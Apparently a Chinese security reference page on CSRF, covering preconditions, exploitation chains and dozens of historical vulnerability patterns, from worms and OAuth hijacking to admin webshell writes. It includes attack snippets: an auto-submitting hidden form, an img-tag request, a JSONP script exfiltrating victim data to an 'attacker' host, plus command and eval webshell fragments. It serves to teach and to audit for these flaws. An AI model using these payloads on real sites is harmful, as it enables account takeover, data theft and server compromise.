CSRF 跨站请求伪造
CSRF 利用的是服务端对"请求来自已认证用户"的过度信任:只要浏览器携带了用户的 Cookie,服务端就认为请求合法,而浏览器在访问页面或加载资源时会自动附带对应域的 Cookie——攻击者不需要知道用户的 Cookie,只需要让用户的浏览器发出一个预定格式的请求。 这与 XSS"在页面内执行 JS"的路径截然不同:CSRF 不需要注入代码,只需要触发一次 HTTP 请求。
成立前提
目标操作(修改账号信息、转账、发帖、加关注等)可通过单次 HTTP 请求完成;请求未携带服务端下发的随机 Token;服务端未校验 Referer 来源(或校验可绕过);用户在目标站点保持登录状态时访问了攻击者控制的页面。
利用链路
GET 请求副作用(最简单)
状态变更操作使用 GET 请求,攻击者将 URL 嵌入 <img> 标签,受害者加载包含该图片的任何页面时自动触发:
<img src="https://target.com/follow?uid=attacker" width="0" height="0">
关注、点赞、投票、刷粉丝均属此类。
POST 请求伪造
表单提交无 Token,攻击者构造自动提交的 HTML 表单:
<form id="f" action="https://target.com/api/address/add" method="POST">
<input type="hidden" name="name" value="攻击者">
<input type="hidden" name="phone" value="<attacker_phone>">
</form>
<script>document.getElementById('f').submit()</script>
受害者访问托管此 HTML 的页面时,表单自动以受害者身份提交。
CMS 后台 CSRF Getshell
后台文件写入/模板修改接口无 CSRF 保护,攻击者发布含恶意 payload 的评论或内容,内含自动提交表单,等管理员查看时触发向 web 目录写入 webshell。
OAuth redirect_uri CSRF
OAuth 2.0 流程中服务端未下发 state 参数(或客户端未校验),攻击者构造指向恶意站的授权请求,截获授权码后与受害者账号绑定,实现账号劫持:
攻击者: 发起 OAuth 授权请求 → 截断获得 code
受害者: 访问攻击者构造的链接 → 用自己账号完成授权
结果: 受害者账号绑定到攻击者的第三方账号
JSON 劫持(CSRF 变种)
JSONP 接口返回含用户数据的回调,攻击者页面引入此脚本,回调函数中的数据进入攻击者控制的作用域:
<script>
function callback(data) {
// data 包含受害者的订单、地址、手机号
fetch('//attacker/?d=' + JSON.stringify(data));
}
</script>
<script src="https://target.com/api/orders?callback=callback"></script>
CSRF 蠕虫
社交/内容平台的发帖/转发接口无 Token,攻击者将 CSRF payload 嵌入帖子正文,访问帖子的用户自动执行转发,转发后的内容再次触发下一批用户,形成蠕虫传播链。Referer 校验可通过 HTTPS→HTTP 跳转绕过(Referer 头在协议降级时不携带)。
历史样本
微博/社区关注接口:关注/转发使用无认证的 GET 请求,将 URL 嵌入图片 src,插入到任意可展示图片的页面(签名、头像、日志)即可批量刷粉丝,触发蠕虫传播。
电商收货地址/订单操作:修改收货地址的 POST 接口无 Token,结合站内 XSS 或诱导点击,可将受害者的收货地址改为攻击者地址,在受害者下单后截获货物。
后台 Getshell:CMS 后台的"修改模板"/"执行 SQL"功能无 CSRF 保护,攻击者在留言板或私信中植入自动提交表单,管理员查看时触发写入 webshell。
OAuth 账号劫持:第三方登录绑定接口未携带 state 参数,攻击者构造绑定请求,受害者点击后将自己账号与攻击者的第三方账号绑定,攻击者可直接登录受害者账号。
Referer 绕过:部分站点仅校验 Referer 是否包含自身域名(而非精确匹配),构造 evil.com?q=target.com 即可通过校验;或在 HTTPS 站点发起请求跳转到 HTTP,Referer 不携带。
支付/积分强制消耗:支付密码设置、积分兑换、虚拟货币消费等接口无 Token,攻击者构造自动提交表单,受害者访问时以其身份完成消费或绑定支付密码;对首次设置支付密码的用户危害尤其直接——若接口不要求旧密码,攻击者可直接设置任意支付密码后接管账户资产。
强制绑定手机/邮箱:账户绑定类接口(绑定手机号、绑定邮箱、绑定第三方账号)以 GET 或无 Token 的 POST 实现,攻击者将目标参数嵌入链接或图片,受害者打开后即完成绑定——绑定完成后攻击者可通过绑定的凭据找回密码或直接登录。
Token 经旁路接口泄露后二次利用:部分系统将 CSRF Token 附在后台 URL 的 query 参数中(如 pc_hash=xxx),当攻击者在后台可控区域(审核队列中的图片链接、友情链接图片地址)嵌入指向自己服务器的图片 URL 时,管理员浏览页面触发图片请求,Token 随 Referer 头发送至攻击者服务器;攻击者获得 Token 后即可构造合法的后台操作请求。另一种情形是错误响应直接返回新 Token 字段——前端用于刷新 Token,但攻击者可先请求该错误接口获取 Token,再携带 Token 完成真实操作,使 Token 防御完全失效。
CSRF 删除他人内容:删除评论、文章、简历、收货地址等操作使用 GET 请求且无 Token,攻击者将删除链接嵌入图片 src,受害者加载页面时自动以自身身份触发删除;因 address_id、comment_id 等资源 ID 为自增整数,攻击者可遍历批量删除任意用户的数据。
强制退出(Logout CSRF):退出登录接口为无保护的 GET 请求,攻击者在论坛帖子或图片中嵌入退出链接,管理员或普通用户浏览帖子时被静默退出;当退出配合持续自动刷新时,受害者无法维持登录状态,形成持续性拒绝服务。
multipart/form-data 文件上传 CSRF:头像、附件等上传接口以 multipart/form-data 编码提交,开发者误以为浏览器无法跨域构造此类表单而省略 Token 校验。攻击者通过 HTML <form enctype="multipart/form-data"> 即可跨站触发,不仅能替换受害者头像,还可借助文件写入路径在服务端落地 webshell。
多步骤流程仅保护第一步:密码修改、邮箱绑定等操作通常拆成"验证旧凭据"与"提交新值"两步,第一步需要旧密码或短信验证码,第二步却未携带 Token。攻击者绕过第一步直接构造第二步请求即可完成修改——若参数中 old_password 字段缺失时服务端仍接受请求,则连"知道旧密码"的前提都不需要。
Flash/SWF 绕过 Referer 与读取 Token:允许嵌入用户上传 SWF 的社区,若未设置 allowNetworking 限制,Flash 可发起任意跨域 POST 请求,Referer 不受同源策略约束,CSRF 防御形同虚设。另一变种是站点 crossdomain.xml 配置 allow-access-from domain="*",任意域下的 Flash 均可读取目标站的 CSRF Token(如 formhash),进而携带合法 Token 完成后续操作,使 Token 机制完全失效。
邮箱/云存储自动转发规则 CSRF:邮件系统和云存储的"自动转发"、"绑定推送邮箱"等设置接口无 Token,攻击者将 CSRF payload 嵌入一封 HTML 邮件,受害者打开邮件时,浏览器自动触发请求,为攻击者设置全量邮件转发规则或绑定攻击者邮箱;此后受害者的所有来信和通知实时抄送至攻击者,影响持续且难以察觉。
域名解析记录修改 CSRF:域名注册商控制台的 DNS 记录修改接口无 Token 且接受 GET 请求,攻击者将请求 URL 嵌入钓鱼页面,已登录的域名持有人访问后,A 记录或 NS 记录被静默改写为攻击者指定的 IP,实现持久性 DNS 劫持。与普通资料修改不同,此操作影响范围可覆盖该域名下所有服务,且受害者往往需要数小时才能通过异常流量发现问题。
企业后台批量操作 CSRF:企业级 CMS 和人才系统的后台功能——支付配置、短信群发、SQL 执行等——整体未做 CSRF 防护,攻击者只需诱导管理员访问一次恶意页面即可完成批量操作;若后台同时支持 GET 代替 POST,还可将操作 URL 嵌入前台用户可控内容(评论头像、意见建议),等待管理员审核时批量触发,形成从前台到后台的跨权限攻击链。
虚拟货币与积分转账 CSRF:论坛积分、游戏平台虚拟货币、比特币交易所的转账/挂单接口未设 Token,攻击者构造自动提交表单,受害者访问后以其身份完成转账或挂出低价订单;由于接口参数(目标账号、金额)完全由攻击者指定,且操作在后端直接执行,受害者的资产在不知情的情况下转移完毕。
站内私信/消息 CSRF 传播:私信发送接口使用 GET 请求或无 Token 的 POST,攻击者将恶意链接以图片 src 形式嵌入帖子,浏览帖子的用户自动向目标用户发送含钓鱼链接的私信;收到私信的用户点击后再次触发相同流程,形成以站内信为载体的自我传播链,危害范围不依赖公开帖子的曝光量。
CSRF 触发后台代码执行:后台功能中存在可执行任意代码的操作(模板执行、代码片段保存、插件安装),该操作接口无 CSRF 防护;攻击者通过 CSRF 直接触发代码写入或执行,将"骗到管理员点链接"升级为完整的 RCE,无需利用任何代码层漏洞。
全站接口统一缺失 CSRF 防护:平台所有状态变更接口均未引入 Token,Referer 校验也在 GET 请求下失效,攻击者可针对任意功能构造利用页面;部分操作(如修改身份证信息)为找回账号的唯一凭据,一旦被 CSRF 篡改影响不可逆,受害者既无法撤销也无法通过原渠道找回账号。
关注+转发双步蠕虫:社区中关注和转发两个接口均无 Token,攻击者构造的利用页面在用户访问时依次自动触发:先关注目标账号,再将含 payload 的页面地址以帖子或消息形式转发;转发后新的访客再次触发同样的双步流程,蠕虫随平台的社交关系链持续扩散。
循环调用 CSRF 实现持续骚扰:私信或通知发送接口无 Token,单次 CSRF 仅触发一条消息;攻击者在利用页面中以循环方式重复调用接口,受害者访问期间持续收到大量消息,将一次性触发放大为持续性骚扰,危害程度与停留时长正相关。
存储型 XSS 自动触发后台 CSRF:CSRF 单独利用要求攻击者诱导目标主动访问外部链接,成功率有限;将 CSRF payload 嵌入存储型 XSS,管理员打开受影响页面时 XSS 在当前域执行,自动完成 CSRF 表单提交,整个攻击链在站内闭合,无需社工步骤。
GET 私信作为社工传播跳板:私信发送以 GET 方式实现,任意图片或 iframe 即可触发;攻击者将含钓鱼链接的消息文本作为参数,受害者浏览任意含该资源的页面即自动以自身身份向他人发送私信,私信内的钓鱼链接再引导新的受害者,形成以站内信誉为背书的多级社工链。
自动提交表单刷内容/垃圾信息:发帖或评论接口未引入 Token,攻击者构造自动提交表单嵌入诱导页面;用户访问后以自身身份批量发布攻击者预设的垃圾内容,可用于平台信誉破坏、关键词刷量或舆论操控,且发帖记录指向受害者账号。
数据库备份 CSRF 结合路径爆破脱库:CMS 后台的数据库备份接口无 CSRF 保护,备份目录名虽为随机短字符串,攻击者通过 CSRF 触发备份后对目录名进行枚举,定位到备份 SQL 文件即可直接下载脱库;随机目录不等于访问控制,仅靠"不可预测路径"防护数据库备份文件本质上是安全错觉。
密保问题绑定 CSRF 接管账号:账号密码保护问题和密保邮箱的设置接口无 Token,攻击者通过 CSRF 为受害者写入攻击者掌控的密保邮箱;完成绑定后触发"通过密保找回密码"流程,新密码发送至攻击者邮箱,实现无需知道旧密码的完整账号接管。
密码修改接口参数容忍性过宽:修改密码接口对旧密码参数的缺失不报错、直接以新密码覆盖,攻击者通过 CSRF 仅提交新密码字段即可强制重置受害者密码;服务端"旧密码验证"在业务逻辑层存在但在参数层不强制,使身份核验形同虚设。
Flash 附件预览同域读取会话凭据:邮件附件预览页与邮箱主页部署在同一域下,用户上传或接收的 SWF 文件在预览时与主站同源;Flash 可通过 ExternalInterface 或直接 HTTP 请求读取当前域 Cookie 及 URL 中明文携带的 SID,进而以受害者凭据发起任意邮件操作,Referer 校验在同域 Flash 面前完全失效。
XSS 触发 CSRF 修改邮件白名单:邮件系统存在可自我触发的存储型 XSS,攻击者在邮件正文中嵌入 XSS payload,受害者打开邮件时 XSS 在邮箱域内执行,自动调用添加白名单接口将攻击者地址加入受信列表;后续攻击者发送的钓鱼邮件将绕过垃圾过滤直达收件箱,XSS 与 CSRF 的组合使危害从一次执行延伸为持续的社工渠道。
CSRF 触发后台 SQL 注入接口实现 Getshell:后台某接口同时存在 CSRF 和 SQL 注入两个漏洞,接口在登录态下执行未过滤的用户可控 SQL 片段;攻击者通过 CSRF 让管理员触发该接口并注入 INTO OUTFILE 语句,将 webshell 写入 web 目录,两个中危漏洞叠加为完整的远程代码执行链。
CMS 全站 GET 操作无 CSRF 防护:部分轻量 CMS 以 GET 请求实现所有后台操作(修改首页配置、添加公告、删除内容),攻击者将操作 URL 嵌入任意图片或链接;已登录管理员访问含该资源的任何页面即触发操作,且由于使用 GET,<img src> 即为完整利用载体,无需诱导表单提交。
云同步联系人/数据批量覆盖 CSRF:云备份和同步服务的联系人新增接口无 Token,攻击者批量构造垃圾联系人数据并通过 CSRF 提交;受害者访问利用页面后同步数据被大量脏数据污染,原有联系人信息被覆盖或混淆,且由于同步机制会推送到受害者全部设备,数据损坏难以回滚。
window.opener 跨域回传上下文辅助 CSRF:站内跳转到第三方链接时未清除 window.opener 引用,外部页面可通过 opener.location 将受害者的已登录页面导航至攻击者控制的地址;结合站内 XSS 较多的现实,攻击者可利用 opener 操作受害者原页面的 DOM 或触发 CSRF,无需单独获取 Cookie。
二维码扫描确认接口 CSRF 劫持登录:扫码登录流程中,"确认登录"请求接口无 CSRF 保护。攻击者在自己的浏览器发起扫码页面并提取其中的二维码内容,将其展示在钓鱼页面上诱导受害者扫描;受害者扫码后,攻击者在隐藏 iframe 中自动提交"确认登录"请求,最终使攻击者侧的浏览器以受害者身份完成登录——扫码的是受害者,登录的却是攻击者。
crossdomain.xml 通配符配置致全域 Flash 越权读取:站点 crossdomain.xml 使用 *domain 通配符而非精确域名,允许该域下所有子域的 Flash 访问主站数据;用户上传的 SWF 文件被存储在同一域或子域下,访问该文件时 Flash 即可跨域读取主站的 Cookie、会话信息及各类接口数据,CSRF Token 和 Referer 校验均形同虚设。
开放平台 appkey 泄露后代替合法应用发起操作:第三方分享按钮在前端页面中明文暴露 appkey,任何人均可提取;攻击者以该 appkey 冒充合法第三方应用,构造自动关注、发帖等请求并嵌入钓鱼页面,受害者访问时以自身身份完成操作,平台侧日志记录显示为合法应用发起的请求。
Token 字段存在但服务端不做校验:表单中附带了 requestToken 等看似防护的字段,但服务端逻辑中从未验证该字段的值;攻击者可以完全省略该字段或填写任意值,CSRF 请求照常成功——Token 机制在前端存在、在后端缺席,给开发者和审计者制造了已有保护的假象。
CSRF 触发评分/投票刷量:评分或投票类接口使用 GET 或无 Token 的 POST 实现,攻击者将评分 URL 嵌入图片 src 并存储在用户昵称、个人简介等可展示字段中;任何浏览该内容的已登录用户都会以自身身份提交评分,内容提供方可以此大量刷高自己作品的评分或票数。
个人简介/昵称前端限制未同步服务端致 CSRF 蠕虫:昵称、个人简介等字段的长度或字符限制仅在前端 JavaScript 校验,服务端接受任意值;攻击者直接构造请求绕过前端限制,将 CSRF payload 或 XSS 脚本写入此类字段,其他用户浏览资料时触发,结合私信接口形成半自动蠕虫传播链。
修改绑定邮箱不验证原始邮箱:邮箱修改接口仅要求提交新邮箱,不验证旧邮箱是否正确(甚至允许旧邮箱字段为空时照常成功);攻击者通过 CSRF 将受害者邮箱改为攻击者可控地址,再通过"通过邮箱找回密码"流程完成完整账号接管,旧邮箱验证的缺失使这一接管路径无需任何已有凭据。
CSRF 强制触发用户关闭自身安全功能:关闭手机邮箱、解绑手机、取消两步验证等降级安全功能的接口为无 Token 的 GET 请求;攻击者将操作 URL 嵌入 HTML 邮件的图片 src,受害者打开邮件时浏览器自动触发,在不知情的情况下关闭了自己账号的安全防护,为后续钓鱼或暴力破解扫清障碍。
扫码登录确认与 iframe 静默提交组合攻击:部分场景中攻击者利用已打开的扫码页面轮询 securityId 状态,当检测到用户扫码后立即在隐藏 iframe 中提交"确认"表单;整个过程对受害者完全透明,受害者看到的是"等待确认"或"已过期"提示,而攻击者的浏览器已完成登录,会话令牌被攻击者独占。
HPP 参数污染绕过随机备份文件名:数据库备份接口对用户提交的备份目录参数未做限制,程序内部通过二次拼接生成备份 URL 并发起内部请求;攻击者通过 URL 编码在参数中注入额外参数(如 %26backupfilename%3Dshell),内部请求解码后出现了原本不可控的 backupfilename 参数,使攻击者可指定备份文件的名称和路径,结合 CSRF 触发后直接下载指定文件名的备份。
CSRF 修改访问权限与密保设置接管空间:个人主页或账号的访问权限(允许哪些人查看、密保问题与答案)修改接口无 Token 保护;攻击者通过 CSRF 同时修改访问权限和密保答案,受害者的私密内容被公开,且攻击者知道密保答案后可通过"找回密码"流程完成账号接管,权限设置与账号安全两条链路同时被攻破。
CSRF 级联触发私信 XSS 二次执行:私信中可嵌入 HTML 内容,但内容展示页存在 XSS;攻击者先通过 CSRF 向目标用户发送含 XSS payload 的私信,收件人打开私信时 XSS 在邮箱域内执行,自动再次调用私信发送接口向联系人扩散,CSRF 作为第一步触发器,XSS 作为第二步执行器,形成跨两个漏洞的级联攻击链。
管理后台余额充值接口 CSRF 刷资产:后台提供直接给用户账户增减余额或赠送虚拟商品的接口,无 Token 且接受 GET;攻击者通过 CSRF 让管理员触发该接口,以管理员身份为攻击者账号充值或发货;与普通 CSRF 不同,此处利用的是管理员权限本身,受害者是管理员而非普通用户,危害直接指向平台资产。
POST 接口同时响应 GET 提升危害:接口设计为 POST 但服务端同时接受 GET 请求,原本需要表单自动提交的攻击退化为 <img src> 即可触发;攻击者发现这一点后,可将利用载体从独立钓鱼页面缩减为单条图片 URL,嵌入邮件、帖子签名、昵称等任何展示图片的位置,受害者无需任何交互即自动触发。
CSRF 触发一键清空云数据:云同步服务的"清空所有联系人/短信/相册"接口无 Token 且接受 GET,操作不可逆;攻击者将清空 URL 嵌入图片 src 或诱导链接,受害者访问时云端数据被批量抹除,且同步机制会将删除状态推送到受害者全部设备,造成持久性数据丢失。
CSRF 强制修改不可二次更改的实名信息:部分平台将身份证号、实名姓名设计为"设置后不可修改",但修改接口本身无 CSRF 防护;攻击者通过 CSRF 为受害者写入错误的身份证信息,受害者既无法自行纠正,也无法通过原渠道找回账号——平台限制一次修改的逻辑在 CSRF 面前完全失效,且影响不可逆。
CSRF + shell_exec 命令注入升级 RCE:CMS 后台数据库备份接口无 CSRF 保护,且备份流程内部通过 shell_exec 拼接用户可控参数生成 mysqldump 命令;攻击者在参数中注入 &echo payload > shell.php 等命令片段,通过 CSRF 让管理员触发该接口,系统命令在服务端执行,写入 webshell,将"骗到管理员访问"直接升级为操作系统级 RCE。
CSRF 竞争写入 PHP 缓存文件执行:后台某功能将用户控制的内容写入临时 PHP 缓存文件,写入后由另一步骤读取执行,两步之间存在时间窗口;攻击者通过 CSRF 触发写入恶意 PHP 代码(含 eval($_REQUEST[...])),同时以高并发请求访问该缓存文件,在文件被删除前命中执行窗口,完成 RCE——利用的是"写入"与"清理"两次操作之间的竞争条件。
CSRF 关联第三方账号实现静默登录:邮箱等平台提供"关联第三方账号"接口,受害者点击链接后将自己账号与攻击者的凭据绑定,攻击者随后可直接用关联凭据登录受害者账号;与 OAuth 劫持不同,此处不涉及 state 参数,而是通过直接提交关联请求完成绑定,受害者邮箱和密码未变,却已失去账号的独占控制权。
昵称/签名嵌入 CSRF 触发刷评分:评分接口无 Token,昵称/签名字段的长度限制仅在前端强制,服务端不做校验;攻击者绕过前端直接提交,将含评分 URL 的 <img src> 写入昵称或签名,其他用户查看该账号资料或帖子时,浏览器自动以其身份触发评分请求,内容提供方通过此方式大量刷高自己作品的评分,且发起请求的身份指向受害者账号。
CSRF 备份路径穿越写入 Web 目录:数据库备份接口的目录参数未做路径校验,攻击者通过 CSRF 提交含 ../ 或绝对路径的目录参数,将备份 SQL 文件写入 Web 可访问目录;由于 MySQL INTO OUTFILE 或 mysqldump 备份文件中可预置 PHP 代码,文件落地后即为可访问的 webshell,路径穿越将"触发备份"直接转化为 Getshell。
XSS + CSRF 隐藏 iframe 静默双打:XSS 存在于受害者已登录的页面,但 CSRF 目标接口在另一功能路径上;攻击者利用 XSS 在当前域内动态创建宽高为零的 <iframe> 并加载含自动提交表单的外部 URL,表单提交时浏览器携带受害者的会话 Cookie,CSRF 在用户毫无感知的情况下完成,整个过程仅需受害者加载一个含 XSS payload 的页面。
CSRF 修改论坛签名档批量传播垃圾内容:论坛签名档修改接口无 Token,且签名在所有帖子回复中展示;攻击者通过 CSRF 将受害者签名改为含恶意链接的文本,该签名随受害者历史回帖一并展示给所有浏览者,无需蠕虫传播机制,存量回帖已形成持续性的广告或钓鱼曝光渠道。
CSRF 以随机邮箱数组绕过邮箱唯一性校验:修改邮箱接口无 Token,但平台要求邮箱全局唯一,单一攻击者邮箱只能绑定一个账号;攻击者在利用页面中预置邮箱数组,访问时随机选取一个尚未被注册的地址写入,绕过唯一性冲突,再通过"找回密码"流程接管该账号——随机化不是安全机制,它只是让批量攻击变得稍复杂。
CSRF 通过图片上传接口植入可执行 SWF:云存储或社区允许上传图片,但未严格校验文件内容,攻击者上传以图片扩展名命名的 SWF 文件;结合平台 crossdomain.xml 对同域或子域的宽松授权,该 SWF 在被访问时读取主域 Cookie 和接口数据,完成跨域信息窃取;即便文件本身没有 CSRF 功能,它作为 crossdomain.xml 的触发载体,使同域 Flash 策略失效。
CSRF 利用微博图片字段嵌入恶意 URL:微博平台发帖时允许附带图片 URL,服务端对该字段无格式限制;攻击者通过 CSRF 构造的表单将图片字段替换为指向 CSRF 利用页面的地址,其他用户访问含该"图片"的微博时,浏览器发出 GET 请求触发下一级 CSRF,形成以微博图片字段为载体的蠕虫传播链,无需 XSS 即可在平台内闭合攻击链。
CSRF 注入 XSS 至后台导航/友情链接:后台导航配置和友情链接添加接口无 CSRF 防护,且链接名称字段过滤不完善;攻击者通过 CSRF 让管理员写入含 XSS payload 的链接名称,管理员下次访问后台首页时 XSS 在后台域内执行,持续生效直至该链接被删除。与普通存储型 XSS 不同,这里 CSRF 是写入手段,XSS 是执行载体,二者共同完成在攻击者无后台权限的情况下向后台注入持久 XSS。
校园/垂直社区动态蠕虫(链接自嵌传播):发布动态的接口无 Token,且动态内容字段可携带任意 URL;攻击者构造的 CSRF payload 让受害者发出一条包含 CSRF 利用页面链接的动态,该链接通过"成绩查询""热点资讯"等吸引点击的文案包装;新访客点击后重复同样流程,蠕虫在校园网或垂直社区内沿好友关系链传播,因受信于熟人,点击率远高于陌生钓鱼链接。
攻击者已知凭据关联受害者账号:账号关联接口(将已有邮箱+密码作为副登录凭据绑定到当前账号)无 CSRF 防护;攻击者通过 CSRF 让受害者在登录态下提交攻击者自己的邮箱和密码作为关联凭据,绑定完成后攻击者即可用自己掌握的邮箱密码直接登录受害者账号,既不需要知道受害者密码,也不触发密码修改类告警,账号被接管后受害者难以感知。
收藏/点赞接口 CSRF 刷量:内容收藏和点赞接口以 GET 或无 Token 的 POST 实现,且同一用户可重复调用(服务端未做去重);攻击者将收藏 URL 嵌入图片 src,受害者加载含该图片的页面时自动对指定内容完成收藏或点赞,结合论坛签名和个人主页等高曝光位置,可在短时间内为攻击者的内容刷出大量收藏量,影响推荐算法排序。
多接口并发 iframe 批量触发 CSRF:一个 CSRF 利用页面中通过多个隐藏 <iframe> 同时加载多个自动提交表单,受害者访问时在浏览器端并发触发:关注、发帖、修改资料等多个操作在一次页面加载中全部完成。相比逐步跳转的单接口 CSRF,并发方式将"骗到一次点击"的机会最大化利用,批量完成多个状态变更,受害者退出浏览器才能中断后续操作。
CSRF 通过后台充值接口向指定账号注入余额:后台运营接口中存在直接向用户账户调整余额的功能(如充值、赠品发放),该接口无 Token 且接受 GET;攻击者通过 CSRF 以管理员身份触发向自身账号充值,危害在于操作日志显示发起方为管理员、金额来源为平台方,平台资损难以与正常运营操作区分,财务对账时也不会触发异常告警。
定时器 GET 接口无 CSRF 防护:部分平台为实现"定时发帖""定时推送"等功能,设计了接受 GET 参数即可执行的定时触发接口,原意是由定时任务调用;由于接口面向外网且无任何身份校验,攻击者将请求 URL 嵌入图片 src,已登录用户访问时自动以自身身份触发定时操作,操作时间和内容完全由攻击者控制。
评论/回复接口未校验操作主体 ID:评论提交接口接受客户端传入的发帖用户 ID 参数,服务端未与会话中的真实用户身份比对;攻击者在 CSRF 表单中指定任意用户 ID,受害者访问后评论记录归属于被冒充的账号,不仅使无辜用户背负不良言论,也可针对高影响力账号批量制造假评论,破坏平台内容可信度。
子域 Flash 借 crossdomain.xml 宽松配置读取主域 Cookie:主站 crossdomain.xml 配置允许"所有以主域结尾的域"访问,图片存储或用户内容所在子域也满足该规则;用户上传的 SWF 文件在子域下执行时,可向主域发起跨域请求并读取主域的 Cookie 和接口数据,绕过同源策略和 CSRF Token,以受害者身份完成任意操作——漏洞根源不在 Flash 本身,而在通配符 crossdomain.xml 将子域等同于主域授权。
CSRF 绕过步骤直接跳至绑定最终步:多步骤绑定流程(如"填写新邮箱→验证旧邮箱→确认绑定")中,服务端未校验请求是否经过前序步骤;攻击者直接构造最终提交请求,跳过旧邮箱验证步骤,服务端因未维护步骤状态而接受该请求,直接完成绑定;设计上看似有"原凭据验证"保护,实际上该验证只存在于前端流程,后端逻辑对跳步提交毫无感知。
CSRF 利用管理员账号发布含 XSS 的公告/导航内容:CMS 后台公告、导航栏编辑等功能无 CSRF 防护,且内容字段对 XSS 过滤不完善;攻击者通过 CSRF 让管理员发布含 XSS payload 的公告,公告在前台面向所有访客展示;XSS 在每个访客浏览器中执行,可进一步窃取 Cookie、触发 CSRF 或重定向钓鱼,CSRF 是首发攻击,XSS 是持续放大器。
API 接口 CORS 配置过于宽松致 Ajax 跨域读取私有数据:部分接口在响应头中配置 Access-Control-Allow-Origin: * 或动态反射请求来源域,且 Access-Control-Allow-Credentials: true;攻击者在恶意页面中通过 fetch 或 XMLHttpRequest 跨域调用这些接口,浏览器携带受害者 Cookie 发出请求,响应数据完整返回给攻击者 JavaScript——与传统 CSRF"只触发操作"不同,此处攻击者可直接读取响应体中的私有数据(账单、订单、联系人等),信息泄露与操作伪造并存。
CSRF 请求携带随机数参数仍被接受:部分系统为防 CSRF 在 URL 中附加时间戳或随机数(如 ?_t=1234567890),但服务端对该参数既不验证值、也不绑定会话;攻击者提交不含该参数或使用任意值的请求均可成功,随机数只作为浏览器缓存控制手段,从未进入安全校验逻辑;防御机制在前端存在、在后端缺席,制造了"已有保护"的假象,与 Token 字段服务端不校验本质相同,但更具隐蔽性。
CSRF 新增后台管理员账号:后台用户管理的"新增管理员"接口无 Token 保护,且同时接受 GET 请求;攻击者将操作 URL 以图片 src 形式嵌入前台用户可控字段(昵称、个人简介),等待管理员审核时自动触发,攻击者账号被写入管理员列表后可直接登录后台——前台到后台的权限穿越通过单次 CSRF 请求完成。
CSRF 通过系统升级接口执行任意 SQL:部分 CMS 提供"在线升级"功能,升级接口直接将 POST 参数中的 SQL 语句拼接执行,无任何过滤,且无 CSRF 防护;攻击者在 SQL 参数中注入 SELECT ... INTO OUTFILE 语句,通过 CSRF 让管理员触发,将 webshell 写入 Web 目录——系统升级接口的高权限使其成为比普通备份接口危害更直接的 RCE 入口。
CSRF 触发短信发送接口实现短信轰炸:短信验证码发送接口无 Token,且对目标手机号无速率限制;攻击者将该接口 URL 嵌入图片 src,任何携带受害者 Cookie 的页面加载都会以受害者身份触发短信发送;进一步地,攻击者可在利用页面中循环遍历手机号列表,以受害者账号身份向批量号码发送短信,消耗平台短信资源,且发送记录归属于受害者。
双平台 CSRF 链式账号劫持:攻击者串联两个平台的 CSRF 漏洞:先利用第一个平台的 CSRF 让受害者登录攻击者的账号(或将受害者绑定到攻击者的第三方凭据),再利用第二个平台的 CSRF 完成账号绑定;每一步单独看都是低危操作,但串联后实现跨平台完整账号劫持,且整个链路无需受害者输入任何凭据。
CSRF 读取好友/联系人列表泄露私有关系数据:好友列表、联系人等私有接口返回 JSON 数据,但未设置 Token 且 CORS 配置存在问题;攻击者在恶意页面中构造带凭据的跨域请求,结合 JSONP 回调或宽松的 CORS 策略,直接读取受害者的好友关系、联系方式等数据——与常规 CSRF"只触发操作"不同,此处攻击者获得的是私有数据本身,属于信息泄露型 CSRF。
CSRF 强制受害者在目标平台消费虚拟礼物:打赏、送礼、赠送荷包等消费接口无 Token,受害者账户余额在不知情的情况下被消耗;攻击者在隐藏 iframe 中静默触发,受害者停留时间越长,单次访问中可触发的消费次数越多;此类接口危害的特殊性在于余额减少不会立即被察觉,受害者可能在账单对账时才发现异常,举证困难。
CSRF 修改密码时服务端对旧密码字段校验位置错误:修改密码流程在前端表单中要求填写旧密码,但后端校验逻辑与表单提交逻辑位于不同模块;当攻击者通过 CSRF 构造仅含新密码的请求时,后端因未收到旧密码字段而跳过校验或默认通过——旧密码验证仅存在于前端路径,绕过前端构造的 CSRF 请求让后端的校验逻辑形同虚设。
CSRF 通过验证邮箱功能间接完成密码重置:账号验证邮箱(非登录邮箱)的修改接口以 GET 实现且无 Token;攻击者通过 CSRF 将受害者的验证邮箱改为攻击者可控地址,再触发"通过验证邮箱找回密码"流程;由于重置邮件同时包含账号用户名,攻击者获得用户名后立即触发密码重置,完成两步账号接管——验证邮箱与登录邮箱是不同字段,使受害者难以通过常规方式察觉。
CSRF 触发文件远程拉取绕过上传扩展名校验:富文本编辑器的"远程图片抓取"功能从攻击者服务器拉取"图片",但扩展名取自请求 URL 而非内容类型检测;攻击者将 webshell 内容托管在以 .jpg 结尾的 URL 下,通过 CSRF 触发抓取,服务端以 .jpg 扩展名保存后实际内容为 PHP 代码;结合路径猜测即可访问并执行,文件上传校验与 CSRF 防护的双重缺失使此路径成为低门槛 RCE。
CSRF 修改论坛帖子作者 ID 冒充他人发言:发帖或评论接口接受客户端传入的作者 ID,服务端未与会话绑定;攻击者通过 CSRF 以自己浏览器的合法 Cookie 发起请求,但将作者 ID 设为高影响力账号的 ID,发帖记录在其他用户看来归属于该账号——此模式与普通 CSRF 的区别在于受害者可能是被冒充账号的持有人,而非触发请求的浏览器用户。
CSRF 利用 XSS 在同域内读取 Token 再携带 Token 完成受保护操作:目标站部分接口已有 Token 保护,但站内存在 XSS;攻击者通过存储型 XSS 在受害者浏览器中以目标域身份执行 JavaScript,先读取页面中隐藏的 CSRF Token,再以 Token 和 Cookie 共同构造完整的受保护请求——XSS 绕过了 Token 防御,使"有 Token 保护"的接口对存在 XSS 的站点等同于无防护。
CSRF 与 JSONP 接口联动读取用户隐私后二次操作:JSONP 接口返回用户私有数据(手机号、收货地址、订单 ID),攻击者通过 CSRF 先调用 JSONP 接口获取数据,再用获得的数据(如订单 ID)构造后续操作请求(取消订单、修改地址);相比单步 CSRF,此模式先读后写,数据依赖关系使攻击更加精准,且攻击者获得的私有数据本身已构成独立危害。
CSRF 强制用户评价/举报他人内容:商品评价、内容举报、差评等接口以 GET 或无 Token 的 POST 实现;攻击者将评价 URL 嵌入图片 src,受害者访问时以自身身份对指定商品或内容提交恶意评价或虚假举报——与刷量型 CSRF 的区别在于此处操作指向特定对象,用于商业竞争打压(批量给竞争对手差评)或内容压制(批量举报敏感帖子),危害具有高度针对性。
